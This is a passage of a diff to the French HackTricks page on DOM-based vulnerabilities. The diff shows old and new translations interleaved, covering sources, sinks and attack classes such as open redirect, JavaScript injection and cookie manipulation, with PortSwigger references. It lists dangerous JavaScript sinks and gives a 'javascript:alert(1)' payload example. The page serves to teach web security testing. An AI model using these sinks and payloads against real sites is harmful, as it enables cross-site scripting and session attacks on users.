- Les **sinks** sont des points d'extrémité potentiellement dangereux où des données malveillantes peuvent entraîner des effets indésirables, tels que l'exécution de scripts.
|
||||||
> Un sink est une fonction JavaScript potentiellement dangereuse ou un objet DOM qui peut causer des effets indésirables si des données contrôlées par un attaquant lui sont transmises. Par exemple, la fonction `eval()` est un sink car elle traite l'argument qui lui est passé en tant que JavaScript. Un exemple de sink HTML est `document.body.innerHTML` car il permet potentiellement à un attaquant d'injecter du HTML malveillant et d'exécuter du JavaScript arbitraire.
|
|
||||||
|
|
||||||
Fondamentalement, les vulnérabilités basées sur le DOM surviennent lorsqu'un site Web **transmet des données d'une source à un sink**, qui traite ensuite les données de manière non sécurisée dans le contexte de la session du client.
|
Le risque survient lorsque les données circulent d'une source vers un sink sans validation ou assainissement approprié, permettant des attaques telles que les XSS.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Vous pouvez trouver une liste plus mise à jour des sources et des sinks dans** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
|
**Vous pouvez trouver une liste plus à jour des sources et des sinks sur** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Sources courantes :**
|
**Sources courantes:**
|
||||||
```javascript
|
```javascript
|
||||||
document.URL
|
document.URL
|
||||||
document.documentURI
|
document.documentURI
|
||||||
|
@ -45,12 +42,12 @@ sessionStorage
|
||||||
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
|
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
|
||||||
Database
|
Database
|
||||||
```
|
```
|
||||||
**Sources courantes :**
|
**Fuites courantes:**
|
||||||
|
|
||||||
| [**Redirection ouverte**](dom-xss.md#open-redirect) | [**Injection de Javascript**](dom-xss.md#javascript-injection) | [**Manipulation de données DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
| [**Redirection ouverte**](dom-xss.md#open-redirect) | [**Injection de Javascript**](dom-xss.md#javascript-injection) | [**Manipulation des données du DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
||||||
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||||
| `location` | `eval()` | `scriptElement.src` | `add()` |
|
| `location` | `eval()` | `scriptElement.src` | `add()` |
|
||||||
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
|
| `location.host` | `constructeur Function()` | `scriptElement.text` | `after()` |
|
||||||
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
|
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
|
||||||
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
|
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
|
||||||
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
|
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
|
||||||
|
@ -59,29 +56,29 @@ Database
|
||||||
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
|
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
|
||||||
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
|
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
|
||||||
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
|
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
|
||||||
| `domElem.srcdoc` | **\`\`**[**Manipulation de chemin de fichier local**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
| `domElem.srcdoc` | **\`\`**[**Manipulation du chemin d'accès aux fichiers locaux**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
||||||
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
|
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
|
||||||
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
|
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
|
||||||
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
|
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
|
||||||
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
|
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
|
||||||
| **\`\`**[**Manipulation de requête Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
| **\`\`**[**Manipulation de la requête Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
||||||
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
|
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
|
||||||
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
|
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
|
||||||
| `XMLHttpRequest.send()` | [**Manipulation de lien**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
| `XMLHttpRequest.send()` | [**Manipulation des liens**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
||||||
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
|
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
|
||||||
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Injection de JSON côté client**](dom-xss.md#client-side-sql-injection) |
|
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Injection JSON côté client**](dom-xss.md#client-side-sql-injection) |
|
||||||
| **\`\`**[**Manipulation de stockage HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
| **\`\`**[**Manipulation du stockage HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
||||||
| `sessionStorage.setItem()` | [**Injection XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
| `sessionStorage.setItem()` | [**Injection XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
||||||
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
|
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
|
||||||
| **``**[**`Déni de service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation de cookie**](dom-xss.md#cookie-manipulation) |
|
| **``**[**`Déni de service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation des cookies**](dom-xss.md#cookie-manipulation) |
|
||||||
| `requestFileSystem()` | **\`\`**[**Manipulation de domaine de document**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
| `requestFileSystem()` | **\`\`**[**Manipulation du domaine du document**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
||||||
| `RegExp()` | `document.domain` | `history.pushState()` | [**Empoisonnement d'URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
|
| `RegExp()` | `document.domain` | `history.pushState()` | [**Empoisonnement de l'URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
|
||||||
| [**Injection SQL côté client**](dom-xss.md#client-side-sql-injection) | [**Manipulation de message Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
| [**Injection SQL côté client**](dom-xss.md#client-side-sql-injection) | [**Manipulation des messages Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
||||||
| `executeSql()` | `postMessage()` | \`\` | \`\` |
|
| `executeSql()` | `postMessage()` | \`\` | \`\` |
|
||||||
|
|
||||||
Le puits **`innerHTML`** n'accepte pas les éléments `script` sur les navigateurs modernes, ni les événements `svg onload`. Cela signifie que vous devrez utiliser des éléments alternatifs tels que `img` ou `iframe`.
|
Le **puits `innerHTML`** n'accepte pas les éléments `script` sur les navigateurs modernes, ni les événements `svg onload`. Cela signifie que vous devrez utiliser des éléments alternatifs comme `img` ou `iframe`.
|
||||||
|
|
||||||
Ce type de XSS est probablement le **plus difficile à trouver**, car vous devez regarder à l'intérieur du code JS, voir s'il **utilise** un objet dont vous contrôlez la **valeur**, et dans ce cas, voir s'il y a **un moyen de l'exploiter** pour exécuter du JS arbitraire.
|
Ce type de XSS est probablement le **plus difficile à trouver**, car vous devez examiner le code JS, voir s'il **utilise** un objet dont **vous contrôlez la valeur**, et dans ce cas, voir s'il y a **un moyen de l'exploiter** pour exécuter du JS arbitraire.
|
||||||
|
|
||||||
## Outils pour les trouver
|
## Outils pour les trouver
|
||||||
|
|
||||||
|
@ -93,14 +90,12 @@ Ce type de XSS est probablement le **plus difficile à trouver**, car vous devez
|
||||||
|
|
||||||
De : [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
De : [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités de redirection ouverte dans le DOM** se produisent lorsqu'un script écrit des données, que l'attaquant peut contrôler, dans un puits capable d'initier une navigation entre les domaines.
|
||||||
|
|
||||||
Les vulnérabilités de redirection ouverte basées sur le DOM surviennent lorsqu'un script écrit des données **contrôlables par l'attaquant** dans un **puits** qui peut déclencher une **navigation entre domaines**.
|
Il est crucial de comprendre qu'il est possible d'exécuter du code arbitraire, tel que **`javascript:alert(1)`**, si vous avez le contrôle sur le début de l'URL où se produit la redirection.
|
||||||
|
|
||||||
Rappelez-vous que **si vous pouvez démarrer l'URL** où la victime va être **redirigée**, vous pouvez exécuter du **code arbitraire** comme : **`javascript:alert(1)`**
|
Puits:
|
||||||
|
```javascript
|
||||||
#### Puits
|
|
||||||
```
|
|
||||||
location
|
location
|
||||||
location.host
|
location.host
|
||||||
location.hostname
|
location.hostname
|
||||||
|
@ -119,27 +114,22 @@ $.ajax()
|
||||||
```
|
```
|
||||||
### Manipulation de cookies
|
### Manipulation de cookies
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
À partir de : [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités de manipulation de cookies basées sur le DOM se produisent lorsqu'un script intègre des données, contrôlées par un attaquant, dans la valeur d'un cookie. Cette vulnérabilité peut entraîner un comportement inattendu de la page Web si le cookie est utilisé sur le site. De plus, elle peut être exploitée pour mener une attaque de fixation de session si le cookie est impliqué dans le suivi des sessions utilisateur. Le principal point de fuite associé à cette vulnérabilité est :
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de cookies basées sur le DOM surviennent lorsqu'un script écrit des données contrôlées par l'attaquant dans la valeur d'un cookie.\
|
Points de fuite :
|
||||||
Cela peut être abusé pour faire en sorte que la page se comporte de manière inattendue (si le cookie est utilisé sur le web) ou pour effectuer une attaque de fixation de session (si le cookie est utilisé pour suivre la session de l'utilisateur).
|
```javascript
|
||||||
|
|
||||||
#### Sources
|
|
||||||
```
|
|
||||||
document.cookie
|
document.cookie
|
||||||
```
|
```
|
||||||
### Injection de JavaScript
|
### Injection de JavaScript
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
|
De : [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités d'injection de JavaScript basées sur le DOM sont créées lorsqu'un script exécute des données, qui peuvent être contrôlées par un attaquant, en tant que code JavaScript.
|
||||||
|
|
||||||
Les vulnérabilités d'injection de JavaScript basées sur le DOM se produisent lorsqu'un script exécute des données contrôlées par l'attaquant en tant que JavaScript.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Cibles
|
|
||||||
```
|
|
||||||
eval()
|
eval()
|
||||||
Function() constructor
|
Function() constructor
|
||||||
setTimeout()
|
setTimeout()
|
||||||
|
@ -151,57 +141,46 @@ msSetImmediate()
|
||||||
range.createContextualFragment()
|
range.createContextualFragment()
|
||||||
crypto.generateCRMFRequest()
|
crypto.generateCRMFRequest()
|
||||||
```
|
```
|
||||||
### Manipulation de document-domain
|
### Manipulation du domaine du document
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
|
De : [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités de **manipulation du domaine du document** se produisent lorsqu'un script définit la propriété `document.domain` en utilisant des données qu'un attaquant peut contrôler.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de document-domain surviennent lorsqu'un script utilise des données contrôlées par l'attaquant pour définir la propriété `document.domain`.
|
La propriété `document.domain` joue un **rôle clé** dans l'**application** de la **politique de même origine** par les navigateurs. Lorsque deux pages de différentes origines définissent leur `document.domain` sur la **même valeur**, elles peuvent interagir sans restrictions. Bien que les navigateurs imposent certaines **limites** sur les valeurs pouvant être attribuées à `document.domain`, empêchant l'attribution de valeurs complètement non liées à l'origine de la page réelle, des exceptions existent. En général, les navigateurs autorisent l'utilisation de **domaines enfants** ou **parent**.
|
||||||
|
```javascript
|
||||||
La propriété `document.domain` est utilisée par les navigateurs dans leur application de la politique de même origine. Si deux pages de différentes origines définissent explicitement la même valeur de `document.domain`, alors ces deux pages peuvent interagir de manière non restreinte.\
|
|
||||||
Les navigateurs imposent généralement certaines restrictions sur les valeurs qui peuvent être attribuées à `document.domain`, et peuvent empêcher l'utilisation de valeurs complètement différentes de l'origine réelle de la page. Mais cela ne se produit pas toujours et ils permettent généralement d'utiliser des domaines enfants ou parents.
|
|
||||||
|
|
||||||
#### Sinks
|
|
||||||
```
|
|
||||||
document.domain
|
document.domain
|
||||||
```
|
```
|
||||||
### Empoisonnement d'URL WebSocket
|
### Poisoning d'URL de WebSocket
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
|
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
|
||||||
|
|
||||||
#### Comment
|
Le **poisoning d'URL de WebSocket** se produit lorsqu'un script utilise **des données contrôlables comme URL cible** pour une connexion WebSocket.
|
||||||
|
|
||||||
L'empoisonnement d'URL WebSocket se produit lorsqu'un script utilise des données contrôlables comme URL cible d'une connexion WebSocket.
|
Sinks:
|
||||||
|
|
||||||
#### Sources
|
Le constructeur `WebSocket` peut entraîner des vulnérabilités de poisoning d'URL de WebSocket.
|
||||||
|
|
||||||
Le constructeur `WebSocket` peut conduire à des vulnérabilités d'empoisonnement d'URL WebSocket.
|
|
||||||
|
|
||||||
### Manipulation de lien
|
### Manipulation de lien
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
|
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités de manipulation de lien basées sur le DOM** surviennent lorsqu'un script écrit **des données contrôlables par l'attaquant vers une cible de navigation** dans la page actuelle, comme un lien cliquable ou l'URL de soumission d'un formulaire.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de lien basées sur le DOM se produisent lorsqu'un script écrit des données contrôlables par l'attaquant vers une cible de navigation dans la page actuelle, telle qu'un lien cliquable ou l'URL de soumission d'un formulaire.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Sources
|
|
||||||
```
|
|
||||||
someDOMElement.href
|
someDOMElement.href
|
||||||
someDOMElement.src
|
someDOMElement.src
|
||||||
someDOMElement.action
|
someDOMElement.action
|
||||||
```
|
```
|
||||||
### Manipulation de requête Ajax
|
### Manipulation de requête Ajax
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
De : [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités de manipulation de requête Ajax surviennent lorsqu'un script écrit des données contrôlables par un attaquant dans une requête Ajax émise à l'aide d'un objet `XmlHttpRequest`.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de requête Ajax surviennent lorsqu'un script écrit des données contrôlées par l'attaquant dans une requête Ajax qui est émise à l'aide d'un objet `XmlHttpRequest`.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Sinks
|
|
||||||
```
|
|
||||||
XMLHttpRequest.setRequestHeader()
|
XMLHttpRequest.setRequestHeader()
|
||||||
XMLHttpRequest.open()
|
XMLHttpRequest.open()
|
||||||
XMLHttpRequest.send()
|
XMLHttpRequest.send()
|
||||||
|
@ -212,12 +191,10 @@ $.globalEval()
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
De: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités de manipulation de chemin de fichier local** surviennent lorsqu'un script transmet des données contrôlées par l'attaquant à une API de gestion de fichiers en tant que paramètre `filename`. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, pourrait entraîner l'**ouverture ou l'écriture d'un fichier local arbitraire par le navigateur de l'utilisateur**.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de chemin de fichier local surviennent lorsqu'un script transmet des données contrôlées par l'attaquant à une API de gestion de fichiers en tant que paramètre `filename`. Un attaquant peut utiliser cette vulnérabilité pour construire une URL qui, si elle est visitée par un autre utilisateur, **forcera le navigateur de l'utilisateur à ouvrir/écrire un fichier local arbitraire**.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Sources
|
|
||||||
```
|
|
||||||
FileReader.readAsArrayBuffer()
|
FileReader.readAsArrayBuffer()
|
||||||
FileReader.readAsBinaryString()
|
FileReader.readAsBinaryString()
|
||||||
FileReader.readAsDataURL()
|
FileReader.readAsDataURL()
|
||||||
|
@ -228,80 +205,66 @@ FileReader.root.getFile()
|
||||||
```
|
```
|
||||||
### Injection SQL côté client
|
### Injection SQL côté client
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
|
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités d'injection SQL côté client** se produisent lorsqu'un script intègre des données contrôlées par l'attaquant dans une requête SQL côté client de manière non sécurisée.
|
||||||
|
|
||||||
Les vulnérabilités d'injection SQL côté client surviennent lorsqu'un script incorpore des données contrôlées par l'attaquant dans une requête SQL côté client de manière non sécurisée.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Cibles
|
|
||||||
```
|
|
||||||
executeSql()
|
executeSql()
|
||||||
```
|
```
|
||||||
### Manipulation de stockage HTML5
|
### Manipulation du stockage HTML5
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
De : [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités de manipulation du stockage HTML5 surviennent lorsqu'un script stocke des données contrôlées par l'attaquant dans le stockage HTML5 du navigateur web (`localStorage` ou `sessionStorage`). Alors que cette action n'est pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l'application lit ensuite les données stockées et les traite de manière non sécurisée. Cela pourrait permettre à un attaquant d'utiliser le mécanisme de stockage pour mener d'autres attaques basées sur le DOM, telles que le cross-site scripting et l'injection de JavaScript.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de stockage HTML5 surviennent lorsqu'un script **stocke des données contrôlées par l'attaquant dans le stockage HTML5** du navigateur web (soit `localStorage` soit `sessionStorage`).\
|
Sinks:
|
||||||
Ce **comportement ne constitue pas en soi une vulnérabilité de sécurité**. Cependant, si l'application **lit ultérieurement les données stockées et les traite de manière non sécurisée**, un attaquant peut exploiter le mécanisme de stockage pour délivrer d'autres attaques basées sur le DOM, telles que l'injection de script et la faille XSS (cross-site scripting).
|
```javascript
|
||||||
|
|
||||||
#### Sinks
|
|
||||||
```
|
|
||||||
sessionStorage.setItem()
|
sessionStorage.setItem()
|
||||||
localStorage.setItem()
|
localStorage.setItem()
|
||||||
```
|
```
|
||||||
### Injection XPath
|
### Injection XPath
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
|
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités d'injection XPath basées sur le DOM** se produisent lorsqu'un script intègre des données contrôlables par l'attaquant dans une requête XPath.
|
||||||
|
|
||||||
Les vulnérabilités d'injection XPath basées sur le DOM se produisent lorsqu'un script incorpore des données contrôlées par l'attaquant dans une requête XPath.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Cibles
|
|
||||||
```
|
|
||||||
document.evaluate()
|
document.evaluate()
|
||||||
someDOMElement.evaluate()
|
someDOMElement.evaluate()
|
||||||
```
|
```
|
||||||
### Injection JSON côté client
|
### Injection JSON côté client
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
|
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
|
||||||
|
|
||||||
#### Comment
|
Les **vulnérabilités d'injection JSON basées sur le DOM** se produisent lorsqu'un script intègre **des données contrôlées par l'attaquant dans une chaîne qui est analysée comme une structure de données JSON puis traitée par l'application**.
|
||||||
|
|
||||||
Les vulnérabilités d'injection JSON basées sur le DOM se produisent lorsqu'un script incorpore des données contrôlées par l'attaquant dans une chaîne qui est analysée en tant que structure de données JSON, puis traitée par l'application.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Cibles
|
|
||||||
```
|
|
||||||
JSON.parse()
|
JSON.parse()
|
||||||
jQuery.parseJSON()
|
jQuery.parseJSON()
|
||||||
$.parseJSON()
|
$.parseJSON()
|
||||||
```
|
```
|
||||||
### Manipulation de messages Web
|
### Manipulation de messages Web
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
|
À partir de : [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités liées aux **messages Web** surviennent lorsqu'un script envoie des données **contrôlables par l'attaquant en tant que message Web vers un autre document** dans le navigateur. Un **exemple** de manipulation de messages Web vulnérable peut être trouvé sur l'Académie de sécurité Web de [PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
|
||||||
|
|
||||||
Les vulnérabilités de messages Web se produisent lorsqu'un script envoie des données contrôlées par un attaquant en tant que message Web à un autre document dans le navigateur.\
|
Sinks :
|
||||||
**Exemple** de manipulation de messages Web vulnérables dans [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)
|
|
||||||
|
|
||||||
#### Sources
|
La méthode `postMessage()` pour l'envoi de messages Web peut entraîner des vulnérabilités si l'écouteur d'événements pour la réception des messages gère les données entrantes de manière non sécurisée.
|
||||||
|
|
||||||
La méthode `postMessage()` pour l'envoi de messages Web peut entraîner des vulnérabilités si l'écouteur d'événements pour la réception de messages gère les données entrantes de manière non sécurisée.
|
|
||||||
|
|
||||||
### Manipulation de données DOM
|
### Manipulation de données DOM
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
|
À partir de : [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités liées à la **manipulation de données DOM** surviennent lorsqu'un script écrit des données **contrôlables par l'attaquant dans un champ du DOM** qui est utilisé dans l'interface utilisateur visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, peut modifier l'apparence ou le comportement de l'interface utilisateur côté client.
|
||||||
|
|
||||||
Les vulnérabilités de manipulation de données DOM se produisent lorsqu'un script écrit des données contrôlées par un attaquant dans un champ du DOM qui est utilisé dans l'interface utilisateur visible ou la logique côté client. Un attaquant peut utiliser cette vulnérabilité pour construire une URL qui, si elle est visitée par un autre utilisateur, modifiera l'apparence ou le comportement de l'interface utilisateur côté client.
|
Sinks :
|
||||||
|
```javascript
|
||||||
#### Sources
|
|
||||||
```
|
|
||||||
scriptElement.src
|
scriptElement.src
|
||||||
scriptElement.text
|
scriptElement.text
|
||||||
scriptElement.textContent
|
scriptElement.textContent
|
||||||
|
@ -327,14 +290,12 @@ history.replaceState()
|
||||||
```
|
```
|
||||||
### Déni de service
|
### Déni de service
|
||||||
|
|
||||||
De: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
À partir de : [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||||
|
|
||||||
#### Comment
|
Les vulnérabilités de **déni de service basées sur le DOM** se produisent lorsqu'un script transmet de manière non sécurisée des données **contrôlables par l'attaquant à une API de plateforme problématique**. Cela inclut les API qui, lorsqu'elles sont invoquées, peuvent amener l'ordinateur de l'utilisateur à consommer **des quantités excessives de CPU ou d'espace disque**. De telles vulnérabilités peuvent avoir des effets secondaires significatifs, tels que le navigateur restreignant la fonctionnalité du site web en refusant les tentatives de stockage de données dans `localStorage` ou en mettant fin aux scripts occupés.
|
||||||
|
|
||||||
Les vulnérabilités de déni de service basées sur le DOM surviennent lorsqu'un script transmet des données contrôlées par l'attaquant de manière non sécurisée à une API de plateforme problématique, telle qu'une API dont l'invocation peut amener l'ordinateur de l'utilisateur à consommer des quantités excessives de CPU ou d'espace disque. Cela peut entraîner des effets secondaires si le navigateur restreint la fonctionnalité du site Web, par exemple en rejetant les tentatives de stockage de données dans `localStorage` ou en tuant les scripts occupés.
|
Sinks:
|
||||||
|
```javascript
|
||||||
#### Sinks
|
|
||||||
```
|
|
||||||
requestFileSystem()
|
requestFileSystem()
|
||||||
RegExp()
|
RegExp()
|
||||||
```
|
```
|
||||||
|
@ -348,10 +309,10 @@ RegExp()
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
